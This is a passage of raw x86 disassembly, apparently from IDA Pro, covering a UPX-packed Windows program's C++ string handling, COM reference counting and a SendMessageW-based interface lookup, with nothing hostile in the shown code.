ebx mov [esi+18h], ebx lea edx, [esi+1Ch] push 6 xor eax, eax pop ecx mov edi, edx rep stosd mov [edx+18h], bl mov dword ptr [esi], offset off_423F98 mov ecx, dword_42EE90 mov eax, [ecx] call dword ptr [eax+4] pop edi mov eax, esi pop ebx retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= sub_40500B proc near ; CODE XREF: sub_405325+3p ; FUNCTION CHUNK AT 00406AD3 SIZE 00000054 BYTES push esi mov esi, ecx push edi mov dword ptr [esi], offset off_423F98 lea edi, [esi+18h] mov dword ptr [edi], 0C0000001h mov ecx, dword_42EE90 mov eax, [ecx] call dword ptr [eax+8] mov eax, edi call sub_404C88 pop edi mov ecx, esi pop esi jmp loc_406AD3 sub_40500B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405039 proc near ; DATA XREF: UPX0:00423F9Co arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 18h push eax call dword_41D21C ; InterlockedIncrement retn 4 sub_405039 endp ; =============== S U B R O U T I N E ======================================= sub_40504A proc near ; DATA XREF: UPX0:00423FA0o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi lea eax, [esi+18h] push eax call dword_41D218 ; InterlockedDecrement mov edi, eax test edi, edi jnz short loc_40506D test esi, esi jz short loc_40506D mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax+1Ch] loc_40506D: ; CODE XREF: sub_40504A+14j ; sub_40504A+18j mov eax, edi pop edi pop esi retn 4 sub_40504A endp ; =============== S U B R O U T I N E ======================================= sub_405074 proc near ; DATA XREF: UPX0:off_423F98o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push [esp+4+arg_4] mov ebx, [esp+8+arg_8] push [esp+8+arg_0] mov eax, offset off_423EA4 call sub_4015BD pop ebx retn 0Ch sub_405074 endp ; =============== S U B R O U T I N E ======================================= sub_40508F proc near ; DATA XREF: UPX0:00423FACo arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, [eax+8] mov [eax+10h], ecx xor eax, eax retn 4 sub_40508F endp ; --------------------------------------------------------------------------- loc_40509E: ; CODE XREF: UPX0:0041BFECj ; UPX0:0041C039j push dword ptr [esi] call sub_401000 and dword ptr [esi], 0 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_4050AA proc near ; CODE XREF: sub_404675+19p push 10h mov eax, offset loc_41C4F9 call sub_40C4A0 mov eax, [ebp+8] xor esi, esi cmp eax, esi jnz short loc_4050C6 mov eax, 80004003h jmp short loc_405130 ; --------------------------------------------------------------------------- loc_4050C6: ; CODE XREF: sub_4050AA+13j push 0F4h mov [eax], esi mov dword ptr [ebp-14h], 8007000Eh mov [ebp-1Ch], esi mov [ebp-4], esi call sub_40B45F pop ecx mov [ebp-18h], eax mov byte ptr [ebp-4], 1 cmp eax, esi jz short loc_4050F3 push eax call sub_4057F4 mov esi, eax loc_4050F3: ; CODE XREF: sub_4050AA+3Fj or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_405106 ; --------------------------------------------------------------------------- loc_4050F9: ; DATA XREF: UPX0:00427894o or dword ptr [ebp-4], 0FFFFFFFFh mov eax, offset loc_405103 retn ; --------------------------------------------------------------------------- loc_405103: ; DATA XREF: sub_4050AA+53o mov esi, [ebp-1Ch] loc_405106: ; CODE XREF: sub_4050AA+4Dj test esi, esi jz short loc_40512D push dword ptr [ebp+8] inc dword ptr [esi+4] dec dword ptr [esi+4] mov eax, [esi] push offset dword_424264 push esi call dword ptr [eax] mov [ebp-14h], eax test eax, eax jz short loc_40512D mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax+0Ch] loc_40512D: ; CODE XREF: sub_4050AA+5Ej ; sub_4050AA+78j mov eax, [ebp-14h] loc_405130: ; CODE XREF: sub_4050AA+1Aj call sub_40C50C retn 4 sub_4050AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405138 proc near ; CODE XREF: sub_405CA8+1Fp ; sub_406130+1Dp ... arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_405A76 push [esp+4+arg_0] mov ecx, esi call sub_4054D8 mov eax, esi pop esi retn 4 sub_405138 endp ; =============== S U B R O U T I N E ======================================= sub_40515A proc near ; CODE XREF: sub_404A01+26p ; sub_404B1F+2Bp arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_405A76 push 0FFFFFFFFh push 0 push [esp+0Ch+arg_0] mov ecx, esi call sub_405446 mov eax, esi pop esi retn 4 sub_40515A endp ; --------------------------------------------------------------------------- loc_405180: ; CODE XREF: UPX0:0041BECFj ; UPX0:0041C41Aj ... push 0 push 1 call sub_4054FB retn ; =============== S U B R O U T I N E ======================================= sub_40518A proc near ; CODE XREF: sub_4098E0+4Ep ; sub_4098E0+130p ... arg_0 = dword ptr 4 push esi mov esi, eax and dword ptr [esi+14h], 0 xor eax, eax mov dword ptr [esi+18h], 7 mov [esi+4], ax mov eax, [esp+4+arg_0] call sub_405546 mov eax, esi pop esi retn 4 sub_40518A endp ; --------------------------------------------------------------------------- loc_4051AD: ; CODE XREF: UPX0:0041BFA6j ; UPX0:0041BFC9j ... push 0 push 1 call sub_4055BC retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051B7 proc near ; CODE XREF: sub_418122+41p var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_48 = byte ptr -48h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset loc_41C4D4 mov eax, large fs:0 push eax sub esp, 64h push esi push edi mov eax, dword_42A034 xor eax, esp push eax lea eax, [esp+7Ch+var_C] mov large fs:0, eax push [ebp+arg_0] mov eax, ebx call sub_405DF5 mov [esp+7Ch+var_6C], eax test ebx, ebx jnz short loc_4051F9 call sub_40B27B loc_4051F9: ; CODE XREF: sub_4051B7+3Bj mov eax, [ebx] mov ecx, [ebx+18h] lea edi, [esp+7Ch+var_68] lea esi, [esp+7Ch+var_70] mov [esp+7Ch+var_70], eax mov [esp+7Ch+var_64], ecx mov [esp+7Ch+var_68], eax call sub_4052D2 test al, al jnz short loc_40522E mov eax, [esp+7Ch+var_6C] mov ecx, [ebp+arg_0] add eax, 10h call sub_406F5E test al, al jz short loc_40528A loc_40522E: ; CODE XREF: sub_4051B7+62j push 6 pop ecx push [ebp+arg_0] xor eax, eax lea edi, [esp+80h+var_60] lea esi, [esp+80h+var_48] rep stosd call sub_405AF0 push 6 pop ecx lea esi, [esp+7Ch+var_60] lea edi, [esp+7Ch+var_28] rep movsd and [esp+7Ch+var_4], 0 push [esp+7Ch+var_6C] lea eax, [esp+80h+var_48] push [esp+80h+var_70] push eax lea eax, [esp+88h+var_68] push eax mov eax, ebx call sub_405603 mov ecx, [eax] mov eax, [eax+4] push 0 push 1 lea esi, [esp+84h+var_48] mov [esp+84h+var_70], ecx mov [esp+84h+var_6C], eax call sub_4055BC loc_40528A: ; CODE XREF: sub_4051B7+75j lea esi, [esp+7Ch+var_70] call sub_4057C9 add eax, 20h mov ecx, [esp+7Ch+var_C] mov large fs:0, ecx pop ecx pop edi pop esi mov esp, ebp pop ebp retn 4 sub_4051B7 endp ; =============== S U B R O U T I N E ======================================= sub_4052AA proc near ; CODE XREF: sub_404B59+29p ; sub_404C11j push 0 mov eax, offset loc_41C4B1 call sub_40C46D mov esi, [ebp+8] and dword ptr [ebp-4], 0 call sub_405795 push dword ptr [esi] call sub_40AC11 pop ecx call sub_40C50C retn 4 sub_4052AA endp ; =============== S U B R O U T I N E ======================================= sub_4052D2 proc near ; CODE XREF: sub_4051B7+5Bp ; sub_405603+45p ... mov eax, [esi] test eax, eax jz short loc_4052DC cmp eax, [edi] jz short loc_4052E1 loc_4052DC: ; CODE XREF: sub_4052D2+4j call sub_40B27B loc_4052E1: ; CODE XREF: sub_4052D2+8j mov eax, [esi+4] sub eax, [edi+4] neg eax sbb eax, eax inc eax retn sub_4052D2 endp ; =============== S U B R O U T I N E ======================================= sub_4052ED proc near ; DATA XREF: UPX0:00423F08o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_404EC4 test [esp+4+arg_0], 1 jz short loc_405303 push esi call sub_40AC11 pop ecx loc_405303: ; CODE XREF: sub_4052ED+Dj mov eax, esi pop esi retn 4 sub_4052ED endp ; =============== S U B R O U T I N E ======================================= sub_405309 proc near ; DATA XREF: UPX0:00423F60o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_404F2C test [esp+4+arg_0], 1 jz short loc_40531F push esi call sub_40AC11 pop ecx loc_40531F: ; CODE XREF: sub_405309+Dj mov eax, esi pop esi retn 4 sub_405309 endp ; =============== S U B R O U T I N E ======================================= sub_405325 proc near ; DATA XREF: UPX0:00423FB4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40500B test [esp+4+arg_0], 1 jz short loc_40533B push esi call sub_40AC11 pop ecx loc_40533B: ; CODE XREF: sub_405325+Dj mov eax, esi pop esi retn 4 sub_405325 endp ; --------------------------------------------------------------------------- loc_405341: ; CODE XREF: UPX0:0041C0F5j ; UPX0:0041C4ACj push dword ptr [eax] call sub_40AC11 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_40534A proc near ; CODE XREF: sub_41889D+13Dp push 8 mov eax, offset loc_41C630 call sub_40C46D mov esi, ecx and dword ptr [ebp-10h], 0 and dword ptr [ebp-4], 0 push esi lea ebx, [ebp-10h] call sub_4053D6 xor ebx, ebx cmp eax, ebx jge short loc_405389 mov esi, [esi] push ebx push ebx push esi push dword ptr [ebp+8] call sub_404675 or dword ptr [ebp-4], 0FFFFFFFFh mov esi, eax mov eax, [ebp-10h] test eax, eax jmp short loc_4053C4 ; --------------------------------------------------------------------------- loc_405389: ; CODE XREF: sub_40534A+23j mov [ebp-14h], ebx push ebx push offset dword_41D440 lea edx, [ebp-14h] push edx push ebx mov byte ptr [ebp-4], 1 push dword ptr [esi] mov eax, [ebp-10h] push dword ptr [ebp+8] mov ecx, [eax] push eax call dword ptr [ecx+10h] mov esi, eax mov [ebp-4], bl mov eax, [ebp-14h] cmp eax, ebx jz short loc_4053BB mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4053BB: ; CODE XREF: sub_40534A+69j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-10h] cmp eax, ebx loc_4053C4: ; CODE XREF: sub_40534A+3Dj jz short loc_4053CC mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4053CC: ; CODE XREF: sub_40534A:loc_4053C4j mov eax, esi call sub_40C50C retn 4 sub_40534A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4053D6 proc near ; CODE XREF: sub_40534A+1Ap ; sub_41889D+86p push 0 mov eax, offset loc_41BF38 call sub_40C46D xor ecx, ecx cmp ebx, ecx jnz short loc_4053EF mov eax, 80004003h jmp short loc_40543E ; --------------------------------------------------------------------------- loc_4053EF: ; CODE XREF: sub_4053D6+10j mov [ebx], ecx push ecx mov [ebp-4], ecx mov eax, [ebp+8] mov eax, [eax] push ecx push dword_42EEA8 push eax call dword_41D288 ; SendMessageW mov edi, eax mov esi, edi neg esi sbb esi, esi and esi, 7FFFBFFBh add esi, 80004005h mov [ebp+8], edi js short loc_40542E mov eax, [edi] push ebx push offset dword_423C0C push edi call dword ptr [eax] mov esi, eax loc_40542E: ; CODE XREF: sub_4053D6+49j or dword ptr [ebp-4], 0FFFFFFFFh test edi, edi jz short loc_40543C mov eax, [edi] push edi call dword ptr [eax+8] loc_40543C: ; CODE XREF: sub_4053D6+5Ej mov eax, esi loc_40543E: ; CODE XREF: sub_4053D6+17j call sub_40C50C retn 4 sub_4053D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405446 proc near ; CODE XREF: sub_40515A+1Bp ; sub_405995+2Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx push esi push edi mov edi, [ebp+arg_0] mov ebx, ecx cmp [edi+14h], eax jnb short loc_40545E call sub_40ABCE loc_40545E: ; CODE XREF: sub_405446+11j mov esi, [edi+14h] mov eax, [ebp+arg_4] sub esi, eax cmp [ebp+arg_8], esi jnb short loc_40546E mov esi, [ebp+arg_8] loc_40546E: ; CODE XREF: sub_405446+23j mov ecx, ebx cmp ebx, edi jnz short loc_40548C push 0FFFFFFFFh add esi, eax push esi call sub_405A07 push [ebp+arg_4] mov ecx, ebx push 0 call sub_405A07 jmp short loc_4054CF ; --------------------------------------------------------------------------- loc_40548C: ; CODE XREF: sub_405446+2Cj push 0 push esi call sub_405A92 test al, al jz short loc_4054CF cmp dword ptr [edi+18h], 10h jb short loc_4054A3 mov edi, [edi+4] jmp short loc_4054A6 ; --------------------------------------------------------------------------- loc_4054A3: ; CODE XREF: sub_405446+56j add edi, 4 loc_4054A6: ; CODE XREF: sub_405446+5Bj mov ecx, [ebx+18h] cmp ecx, 10h jb short loc_4054B3 mov eax, [ebx+4] jmp short loc_4054B6 ; --------------------------------------------------------------------------- loc_4054B3: ; CODE XREF: sub_405446+66j lea eax, [ebx+4] loc_4054B6: ; CODE XREF: sub_405446+6Bj mov edx, [ebp+arg_4] push esi add edi, edx push edi push ecx push eax call sub_4049C9 add esp, 10h push esi mov ecx, ebx call sub_405A76 loc_4054CF: ; CODE XREF: sub_405446+44j ; sub_405446+50j pop edi pop esi mov eax, ebx pop ebx pop ebp retn 0Ch sub_405446 endp ; =============== S U B R O U T I N E ======================================= sub_4054D8 proc near ; CODE XREF: sub_405138+17p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx lea edx, [eax+1] loc_4054E2: ; CODE XREF: sub_4054D8+Fj mov cl, [eax] inc eax test cl, cl jnz short loc_4054E2 sub eax, edx push eax push [esp+8+arg_0] mov ecx, esi call sub_405995 pop esi retn 4 sub_4054D8 endp ; =============== S U B R O U T I N E ======================================= sub_4054FB proc near ; CODE XREF: sub_404A36+10p ; UPX0:00405184p ... arg_0 = byte ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_405530 cmp dword ptr [esi+18h], 10h jb short loc_405530 cmp [esp+4+arg_4], 0 lea eax, [esi+4] push edi mov edi, [eax] jbe short loc_405528 push [esp+8+arg_4] push edi push 10h push eax call sub_4049C9 add esp, 10h loc_405528: ; CODE XREF: sub_4054FB+1Bj push edi call sub_40AC11 pop ecx pop edi loc_405530: ; CODE XREF: sub_4054FB+8j ; sub_4054FB+Ej push [esp+4+arg_4] mov ecx, esi mov dword ptr [esi+18h], 0Fh call sub_405A76 pop esi retn 8 sub_4054FB endp ; =============== S U B R O U T I N E ======================================= sub_405546 proc near ; CODE XREF: sub_40518A+18p push ebx push edi mov ebx, eax lea ecx, [eax+2] loc_40554D: ; CODE XREF: sub_405546+Fj mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_40554D sub eax, ecx sar eax, 1 push ebx mov ecx, esi mov edi, eax call sub_4060F4 test al, al jz short loc_405586 cmp dword ptr [esi+18h], 8 jb short loc_405574 mov eax, [esi+4] jmp short loc_405577 ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_405546+27j lea eax, [esi+4] loc_405577: ; CODE XREF: sub_405546+2Cj sub ebx, eax push edi sar ebx, 1 push esi mov eax, esi call sub_406028 jmp short loc_4055B9 ; --------------------------------------------------------------------------- loc_405586: ; CODE XREF: sub_405546+21j mov eax, esi call sub_4060AE test al, al jz short loc_4055B7 mov ecx, [esi+18h] cmp ecx, 8 jb short loc_40559E mov eax, [esi+4] jmp short loc_4055A1 ; --------------------------------------------------------------------------- loc_40559E: ; CODE XREF: sub_405546+51j lea eax, [esi+4] loc_4055A1: ; CODE XREF: sub_405546+56j push ebx push ecx push eax mov eax, edi call sub_406F3F add esp, 0Ch mov ecx, edi mov eax, esi call sub_405B16 loc_4055B7: ; CODE XREF: sub_405546+49j mov eax, esi loc_4055B9: ; CODE XREF: sub_405546+3Ej pop edi pop ebx retn sub_405546 endp ; =============== S U B R O U T I N E ======================================= sub_4055BC proc near ; CODE XREF: UPX0:004051B1p ; sub_4051B7+CEp ... arg_0 = byte ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 jz short loc_4055EE cmp dword ptr [esi+18h], 8 jb short loc_4055EE cmp [esp+arg_4], 0 lea eax, [esi+4] push edi mov edi, [eax] jbe short loc_4055E6 push edi push 8 push eax mov eax, [esp+10h+arg_4] call sub_406F3F add esp, 0Ch loc_4055E6: ; CODE XREF: sub_4055BC+18j push edi call sub_40AC11 pop ecx pop edi loc_4055EE: ; CODE XREF: sub_4055BC+5j ; sub_4055BC+Bj mov ecx, [esp+arg_4] mov eax, esi mov dword ptr [esi+18h], 7 call sub_405B16 retn 8 sub_4055BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405603 proc near ; CODE XREF: sub_4051B7+B4p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx mov ebx, eax xor eax, eax push esi push edi mov [ebp+var_8], eax mov [ebp+var_4], eax cmp [ebx+1Ch], eax jnz short loc_405635 mov ecx, [ebx+18h] loc_40561E: ; CODE XREF: sub_405603+67j push [ebp+arg_4] push 1 loc_405623: ; CODE XREF: sub_405603+A7j mov esi, ebx loc_405625: ; CODE XREF: sub_405603+F6j ; sub_405603+100j ... push [ebp+arg_0] call sub_405CA8 mov eax, [ebp+arg_0] jmp loc_40578E ; --------------------------------------------------------------------------- loc_405635: ; CODE XREF: sub_405603+16j mov eax, [ebx+18h] mov eax, [eax] mov [ebp+var_C], eax mov eax, [ebx] lea edi, [ebp+var_10] lea esi, [ebp+arg_8] mov [ebp+var_10], eax call sub_4052D2 test al, al jz short loc_40566C mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] add eax, 10h call sub_406F5E test al, al jz loc_405773 mov ecx, [ebp+arg_C] jmp short loc_40561E ; --------------------------------------------------------------------------- loc_40566C: ; CODE XREF: sub_405603+4Cj mov eax, [ebx+18h] mov [ebp+var_C], eax mov eax, [ebx] lea edi, [ebp+var_10] lea esi, [ebp+arg_8] mov [ebp+var_10], eax call sub_4052D2 test al, al jz short loc_4056AF mov eax, [ebx+18h] mov ecx, [eax+8] mov eax, [ebp+arg_4] add ecx, 10h call sub_406F5E test al, al jz loc_405773 push [ebp+arg_4] mov eax, [ebx+18h] mov ecx, [eax+8] push 0 jmp loc_405623 ; --------------------------------------------------------------------------- loc_4056AF: ; CODE XREF: sub_405603+81j mov eax, [ebp+arg_C] mov edi, [ebp+arg_4] add eax, 10h mov ecx, edi call sub_406F5E test al, al jz short loc_405708 mov eax, [ebp+arg_8] mov [ebp+var_8], eax mov eax, [ebp+arg_C] lea esi, [ebp+var_8] mov [ebp+var_4], eax call sub_405E74 mov eax, [eax+4] lea ecx, [eax+10h] mov eax, edi call sub_406F5E test al, al jz short loc_405708 mov ecx, [ebp+var_4] mov eax, [ecx+8] cmp byte ptr [eax+49h], 0 push edi mov esi, ebx jz short loc_4056FE loc_4056F7: ; CODE XREF: sub_405603+164j push 0 jmp loc_405625 ; --------------------------------------------------------------------------- loc_4056FE: ; CODE XREF: sub_405603+F2j mov ecx, [ebp+arg_C] push 1 jmp loc_405625 ; --------------------------------------------------------------------------- loc_405708: ; CODE XREF: sub_405603+BEj ; sub_405603+E3j mov ecx, [ebp+arg_C] add ecx, 10h mov eax, edi call sub_406F5E test al, al jz short loc_405773 mov eax, [ebp+arg_8] mov [ebp+var_8], eax mov eax, [ebp+arg_C] mov [ebp+var_4], eax mov eax, [ebx+18h] mov [ebp+var_C], eax mov eax, [ebx] lea esi, [ebp+var_8] mov [ebp+var_10], eax call sub_405E27 lea edi, [ebp+var_10] mov esi, eax call sub_4052D2 test al, al jnz short loc_405758 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] add eax, 10h call sub_406F5E test al, al jz short loc_405773 loc_405758: ; CODE XREF: sub_405603+141j mov ecx, [ebp+arg_C] mov eax, [ecx+8] cmp byte ptr [eax+49h], 0 push [ebp+arg_4] mov esi, ebx jnz short loc_4056F7 mov ecx, [ebp+var_4] push 1 jmp loc_405625 ; --------------------------------------------------------------------------- loc_405773: ; CODE XREF: sub_405603+5Ej ; sub_405603+96j ... push [ebp+arg_4] push ebx lea ebx, [ebp+var_14] call sub_405B2E mov edx, [eax] mov ecx, [ebp+arg_0] mov [ecx], edx mov eax, [eax+4] mov [ecx+4], eax mov eax, ecx loc_40578E: ; CODE XREF: sub_405603+2Dj pop edi pop esi pop ebx leave retn 10h sub_405603 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405795 proc near ; CODE XREF: sub_4052AA+13p var_8 = byte ptr -8 push ebp mov ebp, esp and esp, 0FFFFFFF8h push ecx push ecx mov eax, [esi+18h] mov ecx, [esi] mov edx, [eax] push eax push ecx push edx push ecx lea eax, [esp+18h+var_8] push eax mov eax, esi call sub_405BF2 push dword ptr [esi+18h] call sub_40AC11 and dword ptr [esi+18h], 0 and dword ptr [esi+1Ch], 0 pop ecx mov esp, ebp pop ebp retn sub_405795 endp ; =============== S U B R O U T I N E ======================================= sub_4057C9 proc near ; CODE XREF: sub_4051B7+D7p ; sub_417ECD+E6p ... mov eax, [esi] test eax, eax jnz short loc_4057DA call sub_40B27B mov eax, [esi] test eax, eax jz short loc_4057DE loc_4057DA: ; CODE XREF: sub_4057C9+4j mov eax, [eax] jmp short loc_4057E0 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_4057C9+Fj xor eax, eax loc_4057E0: ; CODE XREF: sub_4057C9+13j mov ecx, [esi+4] cmp ecx, [eax+18h] jnz short loc_4057ED call sub_40B27B loc_4057ED: ; CODE XREF: sub_4057C9+1Dj mov eax, [esi+4] add eax, 10h retn sub_4057C9 endp ; =============== S U B R O U T I N E ======================================= sub_4057F4 proc near ; CODE XREF: sub_4050AA+42p push 0 mov eax, offset loc_41C48E call sub_40C46D mov edi, [ebp+8] and dword ptr [edi+4], 0 lea esi, [edi+8] mov dword ptr [edi], offset off_423EF0 call sub_401E9F mov dword ptr [esi], offset off_423FF8 mov dword ptr [esi+24h], offset off_424010 mov dword ptr [esi+28h], (offset loc_42403F+1) mov dword ptr [esi+2Ch], offset off_42406C mov dword ptr [esi+30h], offset off_4240E8 mov dword ptr [esi+34h], offset off_424114 mov dword ptr [esi+38h], offset off_424130 mov dword ptr [esi+40h], offset off_42414C mov dword ptr [esi+44h], offset off_424160 mov dword ptr [esi+48h], offset off_424184 mov dword ptr [esi+4Ch], offset off_4241D4 mov [esi+50h], edi and dword ptr [ebp-4], 0 mov ecx, dword_42EE90 mov eax, [ecx] call dword ptr [eax+4] mov eax, edi call sub_40C50C retn 4 sub_4057F4 endp ; =============== S U B R O U T I N E ======================================= sub_40587D proc near ; CODE XREF: UPX0:00405977p push 4 mov eax, offset loc_41C468 call sub_40C46D mov [ebp-10h], ecx mov dword ptr [ecx], offset off_423EF0 and dword ptr [ebp-4], 0 lea esi, [ecx+8] mov dword ptr [ecx+4], 0C0000001h mov ecx, esi call sub_4024D9 mov ecx, dword_42EE90 mov eax, [ecx] call dword ptr [eax+8] or dword ptr [ebp-4], 0FFFFFFFFh mov eax, esi call sub_401F64 call sub_40C50C retn sub_40587D endp ; --------------------------------------------------------------------------- mov eax, [esp+4] inc dword ptr [eax+4] mov eax, [eax+4] retn 4 ; --------------------------------------------------------------------------- loc_4058D0: ; DATA XREF: UPX0:00423EF8o mov ecx, [esp+4] dec dword ptr [ecx+4] push esi mov esi, [ecx+4] jnz short loc_4058E8 test ecx, ecx jz short loc_4058E8 mov eax, [ecx] push 1 call dword ptr [eax+0Ch] loc_4058E8: ; CODE XREF: UPX0:004058DBj ; UPX0:004058DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058EE proc near ; DATA XREF: UPX0:off_423EF0o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push esi xor esi, esi cmp ebx, esi jnz short loc_405903 mov eax, 80004003h jmp short loc_405933 ; --------------------------------------------------------------------------- loc_405903: ; CODE XREF: sub_4058EE+Cj mov eax, [ebp+arg_4] mov [ebx], esi call sub_40141D test eax, eax mov eax, [ebp+arg_0] jz short loc_40591E mov [ebx], eax mov ecx, [eax] push eax call dword ptr [ecx+4] jmp short loc_405931 ; --------------------------------------------------------------------------- loc_40591E: ; CODE XREF: sub_4058EE+24j push [ebp+arg_4] add eax, 8 push eax mov eax, offset off_423D48 call sub_4015BD mov esi, eax loc_405931: ; CODE XREF: sub_4058EE+2Ej mov eax, esi loc_405933: ; CODE XREF: sub_4058EE+13j pop esi pop ebx pop ebp retn 0Ch sub_4058EE endp ; --------------------------------------------------------------------------- loc_405939: ; CODE XREF: UPX0:0040718Bj ; UPX0:004071A9j ... mov eax, [esp+4] mov eax, [eax+2Ch] mov ecx, [eax] push eax call dword ptr [ecx+4] retn 4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40717C loc_405949: ; CODE XREF: sub_40717C+5j ; UPX0:00407195j ... mov eax, [esp+arg_0] mov eax, [eax+2Ch] mov ecx, [eax] push eax call dword ptr [ecx+8] retn 4 ; END OF FUNCTION CHUNK FOR sub_40717C ; --------------------------------------------------------------------------- loc_405959: ; CODE XREF: UPX0:004071B3j ; UPX0:004071DBj ... push dword ptr [esp+0Ch] mov eax, [esp+8] mov eax, [eax+2Ch] push dword ptr [esp+0Ch] mov ecx, [eax] push eax call dword ptr [ecx] retn 0Ch ; =============== S U B R O U T I N E ======================================= sub_405970 proc near ; DATA XREF: UPX0:00424008o mov eax, [ecx+50h] retn sub_405970 endp ; --------------------------------------------------------------------------- loc_405974: ; DATA XREF: UPX0:00423EFCo push esi mov esi, ecx call sub_40587D test byte ptr [esp+8], 1 jz short loc_40598A push esi call sub_40AC11 pop ecx loc_40598A: ; CODE XREF: UPX0:00405981j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_405990: ; CODE XREF: UPX0:0041C463j ; UPX0:0041C489j jmp sub_401F64 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405995 proc near ; CODE XREF: sub_4054D8+1Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] push edi mov esi, ecx call sub_405FED test al, al jz short loc_4059C7 cmp dword ptr [esi+18h], 10h jb short loc_4059B4 mov eax, [esi+4] jmp short loc_4059B7 ; --------------------------------------------------------------------------- loc_4059B4: ; CODE XREF: sub_405995+18j lea eax, [esi+4] loc_4059B7: ; CODE XREF: sub_405995+1Dj push [ebp+arg_4] sub edi, eax push edi push esi mov ecx, esi call sub_405446 jmp short loc_405A01 ; --------------------------------------------------------------------------- loc_4059C7: ; CODE XREF: sub_405995+12j push 0 push [ebp+arg_4] mov ecx, esi call sub_405A92 test al, al jz short loc_4059FF mov ecx, [esi+18h] cmp ecx, 10h jb short loc_4059E4 mov eax, [esi+4] jmp short loc_4059E7 ; --------------------------------------------------------------------------- loc_4059E4: ; CODE XREF: sub_405995+48j lea eax, [esi+4] loc_4059E7: ; CODE XREF: sub_405995+4Dj push [ebp+arg_4] push edi push ecx push eax call sub_4049C9 add esp, 10h push [ebp+arg_4] mov ecx, esi call sub_405A76 loc_4059FF: ; CODE XREF: sub_405995+40j mov eax, esi loc_405A01: ; CODE XREF: sub_405995+30j pop edi pop esi pop ebp retn 8 sub_405995 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A07 proc near ; CODE XREF: sub_405446+33p ; sub_405446+3Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, ecx cmp [esi+14h], edi jnb short loc_405A1B call sub_40ABCE loc_405A1B: ; CODE XREF: sub_405A07+Dj mov eax, [esi+14h] sub eax, edi cmp eax, [ebp+arg_4] jnb short loc_405A28 mov [ebp+arg_4], eax loc_405A28: ; CODE XREF: sub_405A07+1Cj cmp [ebp+arg_4], 0 jbe short loc_405A6E mov ecx, [esi+18h] push ebx lea edx, [esi+4] cmp ecx, 10h jb short loc_405A3E mov ebx, [edx] jmp short loc_405A40 ; --------------------------------------------------------------------------- loc_405A3E: ; CODE XREF: sub_405A07+31j mov ebx, edx loc_405A40: ; CODE XREF: sub_405A07+35j cmp ecx, 10h jb short loc_405A47 mov edx, [edx] loc_405A47: ; CODE XREF: sub_405A07+3Cj sub eax, [ebp+arg_4] add ebx, edi add ebx, [ebp+arg_4] push eax push ebx sub ecx, edi push ecx add edx, edi push edx call sub_4049E5 mov eax, [esi+14h] sub eax, [ebp+arg_4] add esp, 10h push eax mov ecx, esi call sub_405A76 pop ebx loc_405A6E: ; CODE XREF: sub_405A07+25j pop edi mov eax, esi pop esi pop ebp retn 8 sub_405A07 endp ; =============== S U B R O U T I N E ======================================= sub_405A76 proc near ; CODE XREF: sub_405138+Cp ; sub_40515A+Cp ... arg_0 = dword ptr 4 cmp dword ptr [ecx+18h], 10h mov eax, [esp+arg_0] 